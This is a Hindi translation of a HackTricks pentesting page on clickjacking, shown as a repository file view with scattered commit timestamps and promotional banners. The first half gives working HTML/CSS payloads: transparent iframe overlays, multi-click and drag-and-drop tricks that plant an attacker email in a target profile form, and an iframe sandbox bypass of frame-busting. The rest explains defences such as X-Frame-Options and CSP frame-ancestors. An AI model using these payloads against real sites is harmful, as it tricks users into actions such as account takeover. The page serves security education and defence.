hacktricks/pentesting-web/clickjacking.md

224 lines
20 KiB
Markdown
Raw Normal View History

# क्लिकजैकिंग
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और **दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित** **वर्कफ़्लो** आसानी से बनाएं।\
आज ही पहुंच प्राप्त करें:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## क्लिकजैकिंग क्या है
क्लिकजैकिंग हमले में, एक **उपयोगकर्ता** को धोखा देकर **वेबपेज पर किसी तत्व** पर **क्लिक** करने के लिए प्रेरित किया जाता है जो या तो **अदृश्य** होता है या एक विभिन्न तत्व के रूप में छलकर दिखाई देता है। यह मानिपुलेशन उपयोगकर्ता के लिए अनजाने परिणामों में ले जा सकता है, जैसे कि मैलवेयर का डाउनलोड, दुर्भाग्यपूर्ण वेब पेज पर पुनर्निर्देशन, प्रमाण-पत्र या संएजनीय जानकारी की प्रदान, धन की हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी।
### फॉर्म ट्रिक को पूर्वारूपित करें
2020-10-13 11:29:54 +00:00
कभी-कभी **पृष्ठ लोड करते समय GET पैरामीटर का उपयोग करके फॉर्म के फील्ड के मान को भरना संभव** होता है। एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है और एक फॉर्म को विचारहीन डेटा से भरने और उपयोगकर्ता को बटन सबमिट दबाने के लिए क्लिकजैकिंग पेलोड भेज सकता है।
2020-10-13 11:29:54 +00:00
### ड्रैग एंड ड्रॉप के साथ फॉर्म भरें
यदि आपको उपयोगकर्ता से किसी विशेष जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड) लिखने के लिए सीधे पूछना नहीं चाहिए है, तो आप उससे केवल कुछ ऐसी जानकारी लिखने के लिए कुछ ड्रैग एंड ड्रॉप करने के लिए कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में।
### मूल पेलोड
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### बहु-कदम पेलोड
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + क्लिक पेयलोड
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
यदि आपने एक **XSS हमला पहचाना है जिसके लिए उपयोगकर्ता को किसी तत्व पर क्लिक करना आवश्यक है** ताकि XSS **को ट्रिगर** किया जा सके और पृष्ठ **Clickjacking के लिए विकल्पशील** है, तो आप इसका दुरुपयोग करके उपयोगकर्ता को बटन/लिंक पर क्लिक करने में धोखा दे सकते हैं।\
2023-11-06 08:38:02 +00:00
उदाहरण:\
_आपने खाते के कुछ निजी विवरणों में **स्वयं XSS** पाया है (विवरण जो **केवल आप सेट और पढ़ सकते हैं**). इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **Clickjacking** के लिए **विकल्पशील** है और आप GET पैरामीटर्स के साथ **फॉर्म** को **पूर्व-पूर्ण** कर सकते हैं।_\
\_\_एक हमलावर उस पृष्ठ के लिए एक **Clickjacking** हमला तैयार कर सकता है जिसमें **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-पूर्ण** किया जा सकता है और **उपयोगकर्ता** को **फॉर्म** को **सबमिट** करने में धोखा दे सकता है। इसलिए, **जब फॉर्म सबमिट किया जाता है** और मान्यताएँ संशोधित होती हैं, तो **उपयोगकर्ता XSS को निष्पादित करेगा**
## Clickjacking को न्यायिक बनाने के लिए रणनीतियाँ
### क्लाइंट-साइड सुरक्षा
क्लाइंट साइड पर निष्पादित स्क्रिप्ट क्रियाएँ कर सकते हैं जो Clickjacking को रोकने की कार्रवाई कर सकती हैं:
* सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।
* सभी फ्रेम दिखाना।
* अदृश्य फ्रेम पर क्लिक रोकना।
* Clickjacking प्रयासों की पहचान और उपयोगकर्ताओं को चेतावनी देना।
हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्टों को ऊपर उठा सकते हैं:
* **ब्राउज़रों की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र इन स्क्रिप्ट्स को अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर ब्लॉक कर सकते हैं।
* **HTML5 iframe `sandbox` विशेषता:** एक हमलावर `sandbox` विशेषता को `allow-forms` या `allow-scripts` मानों के साथ सेट करके फ्रेम बस्टर स्क्रिप्ट को निष्क्रिय कर सकता है बिना `allow-top-navigation` के। इससे फ्रेम को यह सत्यापित करने से रोका जाता है कि यह शीर्ष विंडो है, जैसे कि,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### सर्वर-साइड रक्षा
#### X-Frame-Options
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़र को `<frame>` या `<iframe>` में पृष्ठ को प्रदर्शित करने की जायज़त के बारे में सूचित करता है, Clickjacking को रोकने में मदद करता है:
- `X-Frame-Options: deny` - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।
- `X-Frame-Options: sameorigin` - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।
- `X-Frame-Options: allow-from https://trusted.com` - केवल निर्दिष्ट 'यूआरआई' पृष्ठ को फ्रेम कर सकता है।
- ध्यान दें: यदि ब्राउज़र इस निर्देशिका का समर्थन नहीं करता है, तो यह काम नहीं कर सकता है। कुछ ब्राउज़र CSP frame-ancestors निर्देशिका को अधिक पसंद करते हैं।
#### सामग्री सुरक्षा नीति (CSP) frame-ancestors निर्देश
**CSP में `frame-ancestors` निर्देश** Clickjacking सुरक्षा के लिए सिफारिश किया गया तरीका है:
- `frame-ancestors 'none'` - `X-Frame-Options: deny` के समान।
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` के समान।
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` के समान।
उदाहरण के लिए, निम्नलिखित CSP केवल एक ही डोमेन से फ्रेमिंग की अनुमति देता है:
`Content-Security-Policy: frame-ancestors 'self';`
अधिक विवरण और जटिल उदाहरण [frame-ancestors CSP दस्तावेज़ीकरण](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) और [Mozilla की CSP frame-ancestors दस्तावेज़ीकरण](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) में उपलब्ध हैं।
### सामग्री सुरक्षा नीति (CSP) के साथ `child-src` और `frame-src`
**सामग्री सुरक्षा नीति (CSP)** एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड प्रविष्टि हमलों को रोकने में मदद करता है जिसमें यह निर्दिष्ट किया जाता है कि ब्राउज़र को कौन से स्रोतों को सामग्री लोड करने की अनुमति देनी चाहिए।
#### `frame-src` निर्देश
- फ्रेम के लिए वैध स्रोतों को परिभाषित करता है।
- `default-src` निर्देशिका से अधिक विशेष।
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
यह नीति समान मूल (self) और https://trusted-website.com से फ्रेम की अनुमति देती है।
#### `child-src` निर्देशिका
- वेब वर्कर्स और फ्रेम के लिए वैध स्रोत सेट करने के लिए सीएसपी स्तर 2 में पेश किया गया।
- frame-src और worker-src के लिए एक फॉलबैक के रूप में काम करता है।
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
यह नीति एक ही मूल (self) और https://trusted-website.com से फ्रेम और वर्कर्स को अनुमति देती है।
**उपयोग नोट:**
- पुराना हो रहा है: child-src को frame-src और worker-src की ओर बढ़ावा देने के लिए बाहर किया जा रहा है।
- प्रतिस्थापन व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम के लिए फॉलबैक के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
- सख्त स्रोत परिभाषा: उत्पीड़न रोकने के लिए निर्देशिकाओं में केवल विश्वसनीय स्रोतों को शामिल करें।
#### जावास्क्रिप्ट फ्रेम-ब्रेकिंग स्क्रिप्ट
हालांकि पूरी तरह से अटकने वाले नहीं, जावास्क्रिप्ट आधारित फ्रेम-ब्रेकिंग स्क्रिप्ट का उपयोग एक वेब पृष्ठ को फ्रेम किए जाने से रोकने के लिए किया जा सकता है। उदाहरण:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### एंटी-सीएसआरएफ टोकन का उपयोग करना
* **टोकन मान्यता:** वेब एप्लिकेशन में एंटी-सीएसआरएफ टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि राज्य-परिवर्तन वाले अनुरोध उपयोगकर्ता द्वारा इच्छापूर्वक किए जाते हैं और न कि क्लिकजैक्ड पेज के माध्यम से।
2023-11-06 08:38:02 +00:00
## संदर्भ
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और **दुनिया के सबसे उन्नत समुदाय उपकरणों** द्वारा संचालित **कार्यप्रवाहों** को आसानी से निर्मित और स्वचालित करें।\
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में **पीआर जमा करके** अपने हैकिंग ट्रिक्स साझा करें।
</details>